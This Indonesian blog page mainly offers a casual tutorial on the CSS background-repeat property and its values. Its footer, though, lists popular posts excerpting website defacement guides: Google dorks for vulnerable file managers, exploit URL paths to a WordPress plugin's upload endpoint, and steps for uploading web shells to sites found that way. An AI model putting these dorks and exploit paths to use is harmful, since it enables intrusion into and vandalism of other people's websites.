Skip to main content

Cara Mengatur Perulangan Background Image Dengan CSS

Hai sobat codes, kali ini mimin bakal memberi sedikit Info Nih Buat Kalian semua. Siapa sih disini yang ingin Membuat Background image pada  Website Kesayangan-nya?... Tapi pernah gak sih Kalian Ketika Ingin Membuat Background Image pada web nya, Tetapi Gambar nya malah pecah-pecah atau Bisa Dibilang Menyebar kesana ke sini dan kehati kamu:v hehehe.... Bercanda:') Jangan Baper:'v

Nah kali ini Mimin Bakal Share Ke Kalian Bagaimana Sih Cara Mengatasi background image nya supaya Tidak Pecah Lagi. Ok langsung saja Simak Tutorial Info Dan penjelasannya Kali ini!

Background-repeat: repeat; 
Background Repeat Jika Diartikan Dalam Bahasa Indonesia adalah pengulangan latar belakang , jika kita Menambahkan Kode css sebagai berikut maka akan mengulang secara Vertical Dan Horizontal.
Kode Css:
background-repeat: repeat; 
Jika Digambarkan Seperti Gambar dibawah ini.
Background-repeat: repeat-y; 
Jika kita membuat Kode css sebagai berikut "background-repeat: repeat-y;" ,fungsi dari kode tersebut ialah mengulang background image secara Vertical atau Menurun. 
Jika Digambar Sebagai Berikut. 
Background-repeat: repeat-x; 
Hampir sama dengan Repeat-y, hanya saja Jika Kita membuatkan kode css nya sebagai berikut "background-repeat: repeat-x; ", Background Image akan Mengulang secara Horizontal. 
Jika digambar kan sebagai berikut. 
Background-repeat: no-repeat; 
Jika kita mengetikkan Kode css sebagai berikut "background-repeat: no-repeat; ", Maka Gambar Yang Kita jadikan Sebagai Backgeound Akan Full Screen, Maksudnya Gambar Tersebut Tidak akan terpecah-pecah/mengulang. 
Tambahan
Untuk Yang Pengen Cobain Membuat Background image dengan css, kalian bisa salin Kode berikut ini. 
background-image:url("urlGambar");
background-repeat: Jenis Repeat Pilih Sendiri Yah;
Ganti saja Text Yang berwarna Merah isi Saja Dengan URL Image(Gambar) yang ingin dijadikan sebagai Background Image. 
Untuk text Yang Berwarna Biru, Isi saja dengan salah satu jenis Repeat tadi .

Mungkin sekian Dulu Artikel Kali Ini. 
Semoga Membantu. Bila ada yang ingin ditanyakan sihlakan koment dibawah Yah Sobat:)
Labels:

Comments

Post a Comment

Popular posts from this blog

Deface Metode Responsive Filemanager

Deface Metode Responsive Filemanager Sesuai dengan judulnya kali ini Mimin Bakal Share Tutorialnya kali ini.
Baca Lebih Lanjut »

Deface metode WP Event Registration File Upload

Kali ini Mimin Bakal Memberikan tutorial Deface Lagi. Oke dari pada berlama-lama, langsung saja ke tutorialnya. Dork: inurl: /wp-content/plugins/event-registration/jscripts/tiny_mce *Kembangin Dork Bila Perlu Exploit: Exploit 1 => /wp-content/plugins/event-registration/jscripts/tiny_mce/plugins/filemanager/frameset.php?a=b&js=mcFileManager.insertFileToForm&initial_path=mce_clear&initial_rootpath=mce_clear&remember=true Exploit 2 => /wp-content/plugins/event-registration/jscripts/tiny_mce/plugins/filemanager/upload.php?path=/home/[DIRECTORY-NAME-HERE]/public_html/wp-content/plugins/event-registration/jscripts/tiny_mce/plugins/filemanager/files Exploit 3 => /wp-content/plugins/event-registration/jscripts/tiny_mce/plugins/filemanager/frameset.php?a=b&js=mcFileManager.insertFileToForm&url=/wp-content/plugins/event-registration/jscripts/tiny_mce/plugins/filemanager/Select%20file&initial_path=mce_clear&initial_rootpath=mce_clear&remember=true La...
Post a Comment
Baca Lebih Lanjut »

Deface Metode Roxy FileManager

Deface metode Roxy FileManager - sebenernya teknik ini sudah cukup lama, dan mungkin untuk para defacer lama juga tau dan bisa melakukan nya. Tapi disini saya sengaja membuat artikel Supaya Para defacer Awam Juga dapat belajar Untuk Teknik Yang satu ini. Dari pada berlama-lama langsung saja simak tutorial nya dibawah ini. Pertama Dorking di google menggunakan dork dibawah ini. inurl:/ckeditor/fileman/index.html intitle:"Roxy file manager" inurl:/fileman/index.html inurl:/ckeditor/fileman/ Pilih saja salah satu dork diatas, kemudian dorking di google. Baca Juga:  DEFACE METODE PRO TAXI Kedua Pilih salah satu websitenya, kemudian buka website. Tampilannya kira-kira seperti ini. Upload shell maupun script deface kalian. Catatan: Tidak Semua Web Bisa Di Upload Shell, Tergantung Dari Keberuntungan Kalian:v Ketiga  Gambar dibawah contoh jika kalian sukses meng-upload shell maupun Script Deface Kalian. Untuk Path file nya Kalian Cukup Tambahin " /Uploads/d...
Post a Comment
Baca Lebih Lanjut »